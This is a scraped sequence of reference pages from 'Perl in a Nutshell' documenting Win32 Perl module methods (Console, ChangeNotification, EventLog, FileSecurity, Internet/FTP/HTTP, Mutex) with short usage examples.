
Previous: Reference: Window | Perl in a Nutshell | Next: Reference: WriteAttr
Reference: Window | Book Index | Reference: WriteAttr


Reference: WriteAttr

Perl in a Nutshell

Perl in a NutshellSearch this book

WriteAttr

$cons->WriteAttr(attrs, col, row)

Writes the attributes contained in the string attrs, beginning at col, row, without affecting the characters that are on screen. The string attrs can be the result of a ReadAttr function, or you can build your own attribute string; in this case, keep in mind that every attribute is treated as a character, not a number (see example). Returns the number of attributes written, or undef on error.

$CONSOLE->WriteAttr($attrs, 0, 0);
# note the use of chr()...
$attrs = chr($FG_BLACK | $BG_WHITE) x 80;
$CONSOLE->WriteAttr($attrs, 0, 0);

Previous: Reference: Write | Perl in a Nutshell | Next: Reference: WriteChar
Reference: Write | Book Index | Reference: WriteChar


Reference: WriteChar

Perl in a Nutshell

Perl in a NutshellSearch this book

WriteChar

$cons->WriteChar(chars, col, row)

Writes the characters in the string attr, beginning at col, row, without affecting the attributes that are onscreen. The string chars can be the result of a ReadChar function or a normal string. Returns the number of characters written, or undef on error.

Previous: Reference: WriteAttr | Perl in a Nutshell | Next: Reference: WriteInput
Reference: WriteAttr | Book Index | Reference: WriteInput


Reference: WriteInput

Perl in a Nutshell

Perl in a NutshellSearch this book

WriteInput

$cons->WriteInput(event)

Pushes data in the console input buffer. event is a list of values; for more information, see Input. The string chars can be the result of a ReadChar function or a normal string. Returns the number of characters written, or undef on error.

Previous: Reference: WriteChar | Perl in a Nutshell | Next: Reference: WriteRect
Reference: WriteChar | Book Index | Reference: WriteRect


Reference: WriteRect

Perl in a Nutshell

Perl in a NutshellSearch this book

WriteRect

$cons->WriteRect(rect, left, top, right, bottom)

Writes a rectangle of characters and attributes (contained in rect) on the console at the coordinates specified by left, top, right, bottom. rect can be the result of a ReadRect function. Returns undef on error; otherwise, a four-element list containing the coordinates of the affected rectangle, in the format (left, top, right, bottom).

Previous: Reference: WriteInput | Perl in a Nutshell | Next: 19.2 Win32::Console
Reference: WriteInput | Book Index | 19.2 Win32::Console


Reference: close

Perl in a Nutshell

Perl in a NutshellSearch this book

close

$ntfy->close()

Stops the monitoring done by the notification object and destroys the object. This happens automatically when the program exits.

Previous: 19.3 Win32::ChangeNotification | Perl in a Nutshell | Next: Reference: reset
19.3 Win32::ChangeNotification | Book Index | Reference: reset


Reference: reset

Perl in a Nutshell

Perl in a NutshellSearch this book

reset

$ntfy->reset()

Resets the object to begin monitoring again after a change has occurred.

Previous: Reference: close | Perl in a Nutshell | Next: Reference: wait
Reference: close | Book Index | Reference: wait


Reference: wait

Perl in a Nutshell

Perl in a NutshellSearch this book

wait

$ntfy->wait([timeout])

The wait method is inherited from the Win32::IPC package. It waits for the notification object to become signaled when it detects a change. timeout is the maximum time to wait (in milliseconds). If timeout is omitted, the method waits forever. If timeout is 0, the function returns immediately. The function returns the following values:

+1

The object is signaled

0

Timed out

undef

An error occurred

Use reset on the object after wait if you wish to continue monitoring.

Previous: Reference: reset | Perl in a Nutshell | Next: 19.3 Win32::ChangeNotification
Reference: reset | Book Index | 19.3 Win32::ChangeNotification


Reference: Backup

Perl in a Nutshell

Perl in a NutshellSearch this book

Backup

$log->Backup(filename)

Saves the current open event log to a file named by filename.

Previous: 19.4 Win32::Eventlog | Perl in a Nutshell | Next: Reference: Read
19.4 Win32::Eventlog | Book Index | Reference: Read


Reference: Read

Perl in a Nutshell

Perl in a NutshellSearch this book

Read

$log->Read(flags, offset, \%eventinfo)

Reads an entry from the event log and returns the information in the eventinfo hash. offset specifies the record number you want to start at in the log. flags sets options for how you want to read the log, which can be any combination of the following:

EVENTLOG_FORWARDS_READ

Eventlog is read in forward chronological order.

EVENTLOG_BACKWARDS_READ

Eventlog is read in reverse chronological order.

EVENTLOG_SEEK_READ

The read begins at the record specified by the $RecordOffset parameter. Must also specify EVENT_LOG_FORWARDS_READ or EVENTLOG_BACKWARDS_READ.

EVENTLOG_SEQUENTIAL_READ

The read continues sequentially from the last read call.

The final argument is the output object for the event read. \ventinfo is a reference to a hash that contains keys for each part of the event description. This same structure is used when you report new events to the event log using the Report method. The eventinfo hash looks like this:

%event = (
    EventID             => val,
    EventType           => val,
    Category            => val,
    ClosingRecordNumber => val,
    Source              => val,
    Computer            => val,
    Strings             => val,
    Data                => val,
);

Previous: Reference: Backup | Perl in a Nutshell | Next: Reference: Report
Reference: Backup | Book Index | Reference: Report


Reference: Report

Perl in a Nutshell

Perl in a NutshellSearch this book

Report

$log->Report(\%eventinfo)

Reports an event to the event log. The information for the event to be recorded is given in a hash, %eventinfo, which should contain values for at least the following keys:

EventType

A string describing the type of event to be reported. The options for EventType are:

EVENTLOG_ERROR_TYPE               Error event
EVENTLOG_WARNING_TYPE             Warning event
EVENTLOG_INFORMATION_TYPE         Information event
EVENTLOG_AUDIT_SUCCESS_TYPE       Success Audit event
EVENTLOG_AUDIT_FAILURE_TYPE       Failure Audit event.

Category

An integer value for the category of the event, defined by the application.

EventID

Source-specific ID for the event.

Data

Raw binary data for the event.

Strings

Any text strings to merge that provide a description of the event.

Previous: Reference: Read | Perl in a Nutshell | Next: Reference: GetOldest
Reference: Read | Book Index | Reference: GetOldest


Reference: GetOldest

Perl in a Nutshell

Perl in a NutshellSearch this book

GetOldest

$log->GetOldest(\$record)

Returns the record number of the oldest record in the event log to the scalar $record.

Previous: Reference: Report | Perl in a Nutshell | Next: Reference: GetNumber
Reference: Report | Book Index | Reference: GetNumber


Reference: GetNumber

Perl in a Nutshell

Perl in a NutshellSearch this book

GetNumber

$log->GetNumber(\$number)

Returns the number of events as the value of the scalar variable number.

Previous: Reference: GetOldest | Perl in a Nutshell | Next: Reference: Clear
Reference: GetOldest | Book Index | Reference: Clear


Reference: Clear

Perl in a Nutshell

Perl in a NutshellSearch this book

Clear

$log->Clear([filename])

Writes the current event log to the file filename (if supplied), and clears the event log.

Previous: Reference: GetNumber | Perl in a Nutshell | Next: 19.4 Win32::Eventlog
Reference: GetNumber | Book Index | 19.4 Win32::Eventlog


Reference: constant

Perl in a Nutshell

Perl in a NutshellSearch this book

constant

constant (name $val)

Takes the name of a permission constant and saves its value in the variable val.

Previous: 19.6 Win32::FileSecurity | Perl in a Nutshell | Next: Reference: EnumerateRights
19.6 Win32::FileSecurity | Book Index | Reference: EnumerateRights


Reference: EnumerateRights

Perl in a Nutshell

Perl in a NutshellSearch this book

EnumerateRights

EnumerateRights (mask, \@rights)

Takes a permissions bitmask (as returned by MakeMask or constant) and saves the corresponding list of string constants in rights.

Previous: Reference: constant | Perl in a Nutshell | Next: Reference: Get
Reference: constant | Book Index | Reference: Get


Reference: Get

Perl in a Nutshell

Perl in a NutshellSearch this book

Get

Get (filename, \%permissions)

Gets the access control list for filename (or directory) and saves in the specified permissions hash.

Previous: Reference: EnumerateRights | Perl in a Nutshell | Next: Reference: MakeMask
Reference: EnumerateRights | Book Index | Reference: MakeMask


Reference: MakeMask

Perl in a Nutshell

Perl in a NutshellSearch this book

MakeMask

MakeMask (stringlist)

Takes a list of permission string constants and returns the bitmask.

Previous: Reference: Get | Perl in a Nutshell | Next: Reference: Set
Reference: Get | Book Index | Reference: Set


Reference: Set

Perl in a Nutshell

Perl in a NutshellSearch this book

Set

Set (filename, \%permissions)

Sets the access control list for the given filename (or directory) to the settings in the specified permissions hash.

Previous: Reference: MakeMask | Perl in a Nutshell | Next: 19.6 Win32::FileSecurity
Reference: MakeMask | Book Index | 19.6 Win32::FileSecurity


Reference: CanonicalizeURL

Perl in a Nutshell

Perl in a NutshellSearch this book

CanonicalizeURL

$inet->CanonicalizeURL(URL, [flags])

Converts a URL to a canonical format, which includes converting unsafe characters to escape sequences. Returns the canonicalized URL, or undef on error. For the possible values of flags, refer to the Microsoft Win32 Internet Functions documentation.

Previous: 19.7 Win32::Internet | Perl in a Nutshell | Next: Reference: Close
19.7 Win32::Internet | Book Index | Reference: Close


Reference: Close

Perl in a Nutshell

Perl in a NutshellSearch this book

Close

$inet->Close([$obj])

Closes an Internet connection. This can be applied to any Win32::Internet object. Note that it is not strictly required to close the connections you create, since the Win32::Internet objects are automatically closed when the program ends (or when such an object is destroyed by other means).

Previous: Reference: CanonicalizeURL | Perl in a Nutshell | Next: Reference: CombineURL
Reference: CanonicalizeURL | Book Index | Reference: CombineURL


Reference: CombineURL

Perl in a Nutshell

Perl in a NutshellSearch this book

CombineURL

$inet->CombineURL(baseURL, relativeURL, [flags])

Combines a base and relative URL into a single URL. Returns the (canonicalized) combined URL, or undef on error. For the possible values of flags, refer to the Microsoft Win32 Internet Functions documentation.

Previous: Reference: Close | Perl in a Nutshell | Next: Reference: ConnectBackoff
Reference: Close | Book Index | Reference: ConnectBackoff


Reference: ConnectBackoff

Perl in a Nutshell

Perl in a NutshellSearch this book

ConnectBackoff

$inet->ConnectBackoff([value])

Reads or sets the delay value, in milliseconds, to wait between connection retries. If no value parameter is specified, the current value is returned; otherwise, the delay between retries is set.

Previous: Reference: CombineURL | Perl in a Nutshell | Next: Reference: ConnectionRetries
Reference: CombineURL | Book Index | Reference: ConnectionRetries


Reference: ConnectionRetries

Perl in a Nutshell

Perl in a NutshellSearch this book

ConnectionRetries

$inet->ConnectRetries([value])

Reads or sets the number of times a connection is retried before considering it failed. If no value parameter is specified, the current value is returned; otherwise, the number of retries is set. The default value is 5.

Previous: Reference: ConnectBackoff | Perl in a Nutshell | Next: Reference: ConnectTimeout
Reference: ConnectBackoff | Book Index | Reference: ConnectTimeout


Reference: ConnectTimeout

Perl in a Nutshell

Perl in a NutshellSearch this book

ConnectTimeout

$inet->ConnectTimeout([value])

Reads or sets the timeout value (in milliseconds) before a connection is considered failed. If no value parameter is specified, the current value is returned; otherwise, the timeout is set to value. The default value is infinity.

Previous: Reference: ConnectionRetries | Perl in a Nutshell | Next: Reference: ControlReceiveTimeout
Reference: ConnectionRetries | Book Index | Reference: ControlReceiveTimeout


Reference: ControlReceiveTimeout

Perl in a Nutshell

Perl in a NutshellSearch this book

ControlReceiveTimeout

$inet->ControlReceiveTimeout([value])

Reads or sets the timeout value (in milliseconds) to use for non-data (control) receive requests before they are cancelled. Currently, this value has meaning only for FTP sessions. If no value parameter is specified, the current value is returned; otherwise, the timeout is set. The default value is infinity.

Previous: Reference: ConnectTimeout | Perl in a Nutshell | Next: Reference: ControlSendTimeout
Reference: ConnectTimeout | Book Index | Reference: ControlSendTimeout


Reference: ControlSendTimeout

Perl in a Nutshell

Perl in a NutshellSearch this book

ControlSendTimeout

$inet->ControlSendTimeout([value])

Reads or sets the timeout value (in milliseconds) to use for non-data (control) send requests before they are cancelled. Currently, this value has meaning only for FTP sessions. If no value parameter is specified, the current value is returned; otherwise, the timeout is set. The default value is infinity.

Previous: Reference: ControlReceiveTimeout | Perl in a Nutshell | Next: Reference: CrackURL
Reference: ControlReceiveTimeout | Book Index | Reference: CrackURL


Reference: CrackURL

Perl in a Nutshell

Perl in a NutshellSearch this book

CrackURL

$inet->CrackURL(URL, [flags])

Splits a URL into its component parts and returns them in an array. Returns undef on error. The array will contain the following values: (scheme, host, port, username, password, path, extrainfo). For example, the URL http://www.divinf.it/index.html#top can be split into:

http, www.divinf.it, 80, anonymous, dada@divinf.it, /index.html, #top
If you don't specify a flags parameter, ICU_ESCAPE will be used by default; for the possible values of flags refer to the Microsoft Win32 Internet Functions documentation.

Previous: Reference: ControlSendTimeout | Perl in a Nutshell | Next: Reference: CreateURL
Reference: ControlSendTimeout | Book Index | Reference: CreateURL


Reference: CreateURL

Perl in a Nutshell

Perl in a NutshellSearch this book

CreateURL

$inet->CreateURL(scheme, hostname, port, username, password, path, extrainfo, [flags])
$inet->CreateURL($hashref, [flags])

Creates a URL from its component parts. Returns undef on error and the created URL if successful. If you pass a hash reference, the following values are taken from the array:

%hash=(
  "scheme"    => "scheme",
  "hostname"  => "hostname",
  "port"      => port,
  "username"  => "username",
  "password"  => "password",
  "path"      => "path",
  "extrainfo" => "extrainfo",
);
If you don't specify a flags parameter, ICU_ESCAPE will be used by default; for the other possible values of flags, refer to the Microsoft Win32 Internet Functions documentation.

Previous: Reference: CrackURL | Perl in a Nutshell | Next: Reference: DataReceiveTimeout
Reference: CrackURL | Book Index | Reference: DataReceiveTimeout


Reference: DataReceiveTimeout

Perl in a Nutshell

Perl in a NutshellSearch this book

DataReceiveTimeout

$inet->DataReceiveTimeout([value])

Reads or sets the timeout value (in milliseconds) to use for data receive requests before they are cancelled. If no value parameter is specified, the current value is returned; otherwise, the timeout is set. The default value is infinity.

Previous: Reference: CreateURL | Perl in a Nutshell | Next: Reference: DataSendTimeout
Reference: CreateURL | Book Index | Reference: DataSendTimeout


Reference: DataSendTimeout

Perl in a Nutshell

Perl in a NutshellSearch this book

DataSendTimeout

$inet->DataSendTimeout([value])

Reads or sets the timeout value (in milliseconds) to use for data send requests before they are cancelled. If no value parameter is specified, the current value is returned; otherwise, the timeout is set. The default value is infinity.

Previous: Reference: DataReceiveTimeout | Perl in a Nutshell | Next: Reference: Error
Reference: DataReceiveTimeout | Book Index | Reference: Error


Reference: Error

Perl in a Nutshell

Perl in a NutshellSearch this book

Error

$inet->Error()

Returns the last recorded error in the form of an array or string (depending upon the context) containing the error number and an error description. Can be applied on any Win32::Internet object (FTP sessions, etc.). There are three types of errors you can encounter, recognizable by the error number returned:

-1

A "trivial" error has occurred in the package. For example, you tried to use a method on the wrong type of object.

1 through 11999

A generic error has occurred and the Win32::GetLastError error message is returned.

12000 and higher

An Internet error has occurred; the extended Win32 Internet API error message is returned.

Previous: Reference: DataSendTimeout | Perl in a Nutshell | Next: Reference: FetchURL
Reference: DataSendTimeout | Book Index | Reference: FetchURL


Reference: FetchURL

Perl in a Nutshell

Perl in a NutshellSearch this book

FetchURL

$inet->FetchURL(URL)

Fetch the content of an HTTP, FTP, or Gopher URL. Returns the contents of the file read (or undef if there was an error and nothing was read).

Previous: Reference: Error | Perl in a Nutshell | Next: Reference: FTP
Reference: Error | Book Index | Reference: FTP


Reference: FTP

Perl in a Nutshell

Perl in a NutshellSearch this book

FTP

$inet->FTP($ftpobject, server, username, pwd, [port, pasv, context])
$inet->FTP($ftpobject, $hashref)

Opens an FTP connection to server, logging in with the given username and password. The new connection object is saved to ftpobject. The parameters and their values are:

server

The server to connect to.

username

The username used to log in to the server. Default is anonymous.

pwd

The password used to log in to the server. Default is none.

port

The port of the FTP service on the server. Default is 21.

pasv

If it is a value other than 0, use passive transfer mode. Otherwise, it is taken from the parent Internet connection object; you can set this value with the Pasv method.

context

A number to identify this operation if it is asynchronous. See SetStatusCallback and GetStatusCallback for more info on asynchronous operations.

If you pass a hash reference, the following values are taken from the hash:

%hash=(
  "server"   => "server",
  "username" => "username",
  "password" => "password",
  "port"     => port,
  "pasv"     => pasv,
  "context"  => context,
);
The FTP method returns undef if the connection failed, a number otherwise. You can then call any of the FTP functions as methods of the newly-created FTP object.

Previous: Reference: FetchURL | Perl in a Nutshell | Next: Reference: GetResponse
Reference: FetchURL | Book Index | Reference: GetResponse


Reference: GetResponse

Perl in a Nutshell

Perl in a NutshellSearch this book

GetResponse

$inet->GetResponse()

Returns the text sent by a remote server in response to the last function executed. It applies to any Win32::Internet object, particularly FTP sessions.

Previous: Reference: FTP | Perl in a Nutshell | Next: Reference: GetStatusCallback
Reference: FTP | Book Index | Reference: GetStatusCallback


Reference: GetStatusCallback

Perl in a Nutshell

Perl in a NutshellSearch this book

GetStatusCallback

$inet->GetStatusCallback(context)

Returns information about the progress of the asynchronous operation identified by context; this information consists of two values: a status code (one of the INTERNET_STATUS_* constants) and an additional value depending on the status code. For example, if the status code returned is INTERNET_STATUS_HANDLE_CREATED, the second value will hold the handle just created. For more information on these values, please refer to the Microsoft Win32 Internet Functions documentation.

Previous: Reference: GetResponse | Perl in a Nutshell | Next: Reference: HTTP
Reference: GetResponse | Book Index | Reference: HTTP


Reference: HTTP

Perl in a Nutshell

Perl in a NutshellSearch this book

HTTP

$inet->HTTP(httpobject, server, username, password, [port, flags, context])
$inet->HTTP($httpobject, $hashref)

Opens an HTTP connection to server, logging in with the given username and password. The new connection object is saved as httpobject. The parameters and their values are:

server

The server to connect to.

username

The username used to log in to the server. Default is anonymous.

password

The password used to log in to the server. Default is none.

port

The port of the HTTP service on the server. Default is 80.

flags

Additional flags affecting the behavior of the function.

context

A number to identify this operation if it is asynchronous.

If you pass a hash reference, the following values are taken from the hash:

%hash=(
  "server"   => "server",
  "username" => "username",
  "password" => "password",
  "port"     => port,
  "flags"    => flags,
  "context"  => context,
);
The HTTP method returns undef if the connection failed, a number otherwise. You can then call any of the HTTP functions as methods of the newly-created httpobject.

Previous: Reference: GetStatusCallback | Perl in a Nutshell | Next: Reference: OpenURL
Reference: GetStatusCallback | Book Index | Reference: OpenURL


Reference: OpenURL

Perl in a Nutshell

Perl in a NutshellSearch this book

OpenURL

$inet->OpenURL(urlobject, URL)

Opens a connection to an HTTP, FTP, or Gopher URL. Returns undef on error, or a number if the connection was successful. You can then retrieve the URL content by applying the methods QueryDataAvailable and ReadFile on the newly-created urlobject. See also FetchURL.

Previous: Reference: HTTP | Perl in a Nutshell | Next: Reference: Password
Reference: HTTP | Book Index | Reference: Password


Reference: Password

Perl in a Nutshell

Perl in a NutshellSearch this book

Password

$inet->Password([password])

Reads or sets the password used for an FTP or HTTP connection. If no password parameter is specified, the current value is returned.

Previous: Reference: OpenURL | Perl in a Nutshell | Next: Reference: QueryDataAvailable
Reference: OpenURL | Book Index | Reference: QueryDataAvailable


Reference: QueryDataAvailable

Perl in a Nutshell

Perl in a NutshellSearch this book

QueryDataAvailable

$inet->QueryDataAvailable()

Returns the number of bytes of data that are available to be read immediately by a subsequent call to ReadFile (or undef on error). Can be applied to URL or HTTP request objects.

Previous: Reference: Password | Perl in a Nutshell | Next: Reference: QueryOption
Reference: Password | Book Index | Reference: QueryOption


Reference: QueryOption

Perl in a Nutshell

Perl in a NutshellSearch this book

QueryOption

$inet->QueryOption(option)

Queries an Internet option. For the possible values of option, refer to the Microsoft Win32 Internet Functions documentation.

Previous: Reference: QueryDataAvailable | Perl in a Nutshell | Next: Reference: ReadEntireFile
Reference: QueryDataAvailable | Book Index | Reference: ReadEntireFile


Reference: ReadEntireFile

Perl in a Nutshell

Perl in a NutshellSearch this book

ReadEntireFile

$inet->ReadEntireFile()

Reads all the data available from an opened URL or HTTP request object. Returns what has been read, or undef on error.

Previous: Reference: QueryOption | Perl in a Nutshell | Next: Reference: ReadFile
Reference: QueryOption | Book Index | Reference: ReadFile


Reference: ReadFile

Perl in a Nutshell

Perl in a NutshellSearch this book

ReadFile

$inet->ReadFile(bytes)

Reads and returns the specified number of bytes of data from an opened URL or HTTP request object. Returns undef on error. Be careful to keep bytes to an acceptable value.

Previous: Reference: ReadEntireFile | Perl in a Nutshell | Next: Reference: SetOption
Reference: ReadEntireFile | Book Index | Reference: SetOption


Reference: SetOption

Perl in a Nutshell

Perl in a NutshellSearch this book

SetOption

$inet->SetOption(option, value)

Sets an Internet option. For the possible values of option, refer to the Microsoft Win32 Internet Functions documentation.

Previous: Reference: ReadFile | Perl in a Nutshell | Next: Reference: SetStatusCallback
Reference: ReadFile | Book Index | Reference: SetStatusCallback


Reference: SetStatusCallback

Perl in a Nutshell

Perl in a NutshellSearch this book

SetStatusCallback

$inet->SetStatusCallback()

Initializes the callback routine that is used to return data about the progress of an asynchronous operation. This is one of the steps required to perform asynchronous operations; the complete procedure is:

# use the INTERNET_FLAG_ASYNC when initializing
$params{'flags'}=INTERNET_FLAG_ASYNC;
$inet = new Win32::Internet(params);

# initialize the callback routine
$inet->SetStatusCallback();

# specify the context parameter (the last 1 in this case)
$inet->HTTP($http, "www.yahoo.com", "anonymous", "dada\@divinf.it",
            80, 0, 1);
At this point, control returns immediately to Perl and $inet->Error() will return 997, which means an asynchronous I/O operation is pending. Now, you can call:
$http->GetStatusCallback(1);
in a loop to verify what's happening; see also GetStatusCallback.

Previous: Reference: SetOption | Perl in a Nutshell | Next: Reference: TimeConvert
Reference: SetOption | Book Index | Reference: TimeConvert


Reference: TimeConvert

Perl in a Nutshell

Perl in a NutshellSearch this book

TimeConvert

$inet->TimeConvert(time)

Takes an HTTP date/time string and returns the date/time converted in the following array: (seconds, minute, hours, day, month, year, day_of_week).

Previous: Reference: SetStatusCallback | Perl in a Nutshell | Next: Reference: UserAgent
Reference: SetStatusCallback | Book Index | Reference: UserAgent


Reference: UserAgent

Perl in a Nutshell

Perl in a NutshellSearch this book

UserAgent

$inet->UserAgent([name])

Reads or sets the user agent name used for HTTP requests. If no name is specified, the current value is returned.

Previous: Reference: TimeConvert | Perl in a Nutshell | Next: Reference: Username
Reference: TimeConvert | Book Index | Reference: Username


Reference: Username

Perl in a Nutshell

Perl in a NutshellSearch this book

Username

$inet->Username([name])

Reads or sets the username used for an FTP or HTTP connection. If no name parameter is specified, the current value is returned.

Previous: Reference: UserAgent | Perl in a Nutshell | Next: Reference: Version
Reference: UserAgent | Book Index | Reference: Version


Reference: Version

Perl in a Nutshell

Perl in a NutshellSearch this book

Version

$inet->Version()

Returns the version numbers for the Win32::Internet package and the WININET.DLL version, as an array or string, depending on the context. The string returned will contain "package_version/DLL_version", while the array will contain: "package_version", "DLL_version". For example:

$version = $inet->Version(); # should return "0.06/4.70.1215"
@version = $inet->Version(); # should return ("0.06", "4.70.1215")

Previous: Reference: Username | Perl in a Nutshell | Next: 19.7 Win32::Internet
Reference: Username | Book Index | 19.7 Win32::Internet


Reference: Ascii

Perl in a Nutshell

Perl in a NutshellSearch this book

Ascii

$FTP->Ascii()
$FTP->Asc()

Sets the ASCII transfer mode for this FTP session. It will be applied to subsequent Get functions.

Previous: 19.7 Win32::Internet | Perl in a Nutshell | Next: Reference: Binary
19.7 Win32::Internet | Book Index | Reference: Binary


Reference: Binary

Perl in a Nutshell

Perl in a NutshellSearch this book

Binary

$FTP->Binary()
$FTP->Bin()

Sets the binary transfer mode for this FTP session. It will be applied to subsequent Get functions.

Previous: Reference: Ascii | Perl in a Nutshell | Next: Reference: Cd
Reference: Ascii | Book Index | Reference: Cd


Reference: Cd

Perl in a Nutshell

Perl in a NutshellSearch this book

Cd

$FTP->Cd(path)
$FTP->Cwd(path)
$FTP->Chdir(path)

Changes the current directory on the FTP remote host. Returns path, or undef on error.

Previous: Reference: Binary | Perl in a Nutshell | Next: Reference: Delete
Reference: Binary | Book Index | Reference: Delete


Reference: Delete

Perl in a Nutshell

Perl in a NutshellSearch this book

Delete

$FTP->Delete(file)
$FTP->Del(file)

Deletes file on the FTP remote host. Returns undef on error.

Previous: Reference: Cd | Perl in a Nutshell | Next: Reference: Get
Reference: Cd | Book Index | Reference: Get


Reference: Get

Perl in a Nutshell

Perl in a NutshellSearch this book

Get

$FTP->Get(file, [local, overwrite, flags, context])

Gets the remote FTP file and saves it locally in local. If local is not specified, it will be the same name as file. Returns undef on error. The parameters and their values are:

file

The name of the remote file on the FTP server.

local

The name of the local file to create.

overwrite

If 0, overwrites local if it exists. With any other value, the function fails if the local file already exists. Default is 0.

flags

Additional flags affecting the behavior of the function. None by default.

context

A number to identify this operation if it is asynchronous. See SetStatusCallback and GetStatusCallback for more information on asynchronous operations. None by default.

Previous: Reference: Delete | Perl in a Nutshell | Next: Reference: List
Reference: Delete | Book Index | Reference: List


Reference: List

Perl in a Nutshell

Perl in a NutshellSearch this book

List

$FTP->List([pattern, listmode])
$FTP->Ls([pattern, listmode])
$FTP->Dir([pattern, listmode])

Returns a list containing the files found in the current directory, matching the given pattern, if specified. The content of the returned list depends on the listmode parameter, which can have the following values:

1 (default)

The list contains the names of the files found.

2

The list contains seven values for each file:

  • The file name

  • The DOS short file name, a.k.a. 8.3

  • The size

  • The attributes

  • The creation time

  • The last access time

  • The last modified time

3

The list contains a reference to a hash for each found file. Each hash contains the following key/value pairs:

name => file name
altname => DOS short file name, a.k.a. 8.3
size => size
attr => attributes
ctime => creation time
atime => last access time
mtime => last modified time

All times are reported as strings of the following format: second, hour, minute, day, month, year. For example:

$file->{'mtime'} == "0,10,58,9,12,1996"
# stands for 09 Dec 1996 at 10:58:00

Previous: Reference: Get | Perl in a Nutshell | Next: Reference: Mkdir
Reference: Get | Book Index | Reference: Mkdir


Reference: Mkdir

Perl in a Nutshell

Perl in a NutshellSearch this book

Mkdir

$FTP->Mkdir(name)
$FTP->Md(name)

Creates the directory name on the FTP remote host. Returns undef on error.

Previous: Reference: List | Perl in a Nutshell | Next: Reference: Mode
Reference: List | Book Index | Reference: Mode


Reference: Mode

Perl in a Nutshell

Perl in a NutshellSearch this book

Mode

$FTP->Mode([mode])

If called with no arguments, returns the current transfer mode for this FTP session ("asc" for ASCII or "bin" for binary). The mode argument can be asc or bin, in which case the appropriate transfer mode is selected. Returns undef on error.

Previous: Reference: Mkdir | Perl in a Nutshell | Next: Reference: Pasv
Reference: Mkdir | Book Index | Reference: Pasv


Reference: Pasv

Perl in a Nutshell

Perl in a NutshellSearch this book

Pasv

$FTP->Pasv([mode])

If called with no arguments, returns 1 if the current FTP session has passive transfer mode enabled; 0 if not. You can call it with a mode parameter (0/1) only as a method of a Internet object, in which case it will set the default value for the next FTP object you create (i.e., set it before, because you can't change this value once you open the FTP session).

Previous: Reference: Mode | Perl in a Nutshell | Next: Reference: Put
Reference: Mode | Book Index | Reference: Put


Reference: Put

Perl in a Nutshell

Perl in a NutshellSearch this book

Put

$FTP->Put(file, [remote, context])

Upload the local file to the FTP server, saving it under the name remote, which if omitted is the same name as file. Returns undef on error. context is a number to identify this operation if it is asynchronous. See SetStatusCallback and GetStatusCallback for more information on asynchronous operations.

Previous: Reference: Pasv | Perl in a Nutshell | Next: Reference: Pwd
Reference: Pasv | Book Index | Reference: Pwd


Reference: Pwd

Perl in a Nutshell

Perl in a NutshellSearch this book

Pwd

$FTP->Pwd()

Returns the current directory on the FTP server, or undef on error.

Previous: Reference: Put | Perl in a Nutshell | Next: Reference: Rename
Reference: Put | Book Index | Reference: Rename


Reference: Rename

Perl in a Nutshell

Perl in a NutshellSearch this book

Rename

$FTP->Rename(oldfile, newfile)
$FTP->Ren(oldfile, newfile)

Renames a file on the FTP remote host. Returns undef on error.

Previous: Reference: Pwd | Perl in a Nutshell | Next: Reference: Rmdir
Reference: Pwd | Book Index | Reference: Rmdir


Reference: Rmdir

Perl in a Nutshell

Perl in a NutshellSearch this book

Rmdir

$FTP->Rmdir(name)
$FTP->Rd(name)

Removes the directory name on the FTP remote host. Returns undef on error.

Previous: Reference: Rename | Perl in a Nutshell | Next: 19.7 Win32::Internet
Reference: Rename | Book Index | 19.7 Win32::Internet


Reference: AddHeader

Perl in a Nutshell

Perl in a NutshellSearch this book

AddHeader

$request->AddHeader(header, [flags])

Adds HTTP request headers to an HTTP request object created with OpenRequest. For the possible values of flags, refer to the Microsoft Win32 Internet Functions documentation.

Previous: 19.7 Win32::Internet | Perl in a Nutshell | Next: Reference: OpenRequest
19.7 Win32::Internet | Book Index | Reference: OpenRequest


Reference: OpenRequest

Perl in a Nutshell

Perl in a NutshellSearch this book

OpenRequest

$http->OpenRequest(requestobject, [path, method, version, referer, accept, flags, context])
$http->OpenRequest($requestobject, hashref)

Opens an HTTP request and saves it as $requestobject. Returns undef on error, or a number if the connection was successful. You can then use one of the AddHeader, SendRequest, QueryInfo, QueryDataAvailable, and ReadFile methods on the newly-created requestobject. The optional parameters and their values are:

path

The object to request. This is generally a filename, an executable module, etc. The default is "/".

method

The method to use, which can be GET, POST, HEAD, or PUT. Default is GET.

version

The HTTP version. Default is HTTP/1.0.

referer

The URL of the document from which the URL in the request was obtained.

accept

The content types accepted. They must be separated by a "\0" (ASCII zero). Default types are "text/* image/gif image/jpeg."

flags

Additional flags affecting the behavior of the function.

context

A number to identify this operation if it is asynchronous. See SetStatusCallback and GetStatusCallback for more information on asynchronous operations.

A reference to a hash containing the previous list of parameters can also be supplied to this method.

%hash=(
  "path"        => "path",
  "method"      => "method",
  "version"     => "version",
  "referer"     => "referer",
  "accept"      => "accept",
  "flags"       => flags,
  "context"     => context,
);

Previous: Reference: AddHeader | Perl in a Nutshell | Next: Reference: QueryInfo
Reference: AddHeader | Book Index | Reference: QueryInfo


Reference: QueryInfo

Perl in a Nutshell

Perl in a NutshellSearch this book

QueryInfo

$request->QueryInfo(header, [flags])

Queries information about an HTTP request object ($request) created with OpenRequest. You can specify a header (for example, "Content-type") and/or one or more flags. If you don't specify flags, HTTP_QUERY_CUSTOM will be used by default; this means that the header should contain a valid HTTP header name. For the possible values of flags, refer to the Microsoft Win32 Internet Functions documentation.

Previous: Reference: OpenRequest | Perl in a Nutshell | Next: Reference: Request
Reference: OpenRequest | Book Index | Reference: Request


Reference: Request

Perl in a Nutshell

Perl in a NutshellSearch this book

Request

$http->Request([path, method, version, referer, accept, flags])
$http->Request(hashref)

Performs an HTTP request and returns an array containing the status code, the headers, and the content of the file. It is a one-step procedure that executes OpenRequest, SendRequest, QueryInfo, ReadFile, and finally Close. For a description of the parameters, see OpenRequest.

Previous: Reference: QueryInfo | Perl in a Nutshell | Next: Reference: SendRequest
Reference: QueryInfo | Book Index | Reference: SendRequest


Reference: SendRequest

Perl in a Nutshell

Perl in a NutshellSearch this book

SendRequest

$request->SendRequest([postdata])

Sends an HTTP request to the destination server. postdata contains any optional data to send immediately after the request header; this is generally used for POST or PUT requests. Your request object must contain the following content header for post data to be processed. You can add the header with AddHeader:

...
$request->AddHeader("Content-Type: application/x-www-form-urlencoded");
$request->SendRequest("key1=value1&key2=value2&key3=value3");

Previous: Reference: Request | Perl in a Nutshell | Next: 19.7 Win32::Internet
Reference: Request | Book Index | 19.7 Win32::Internet


Reference: release

Perl in a Nutshell

Perl in a NutshellSearch this book

release

$mut->Release()

Releases ownership of the mutex from the calling process, allowing anyone waiting on the mutex to take ownership.

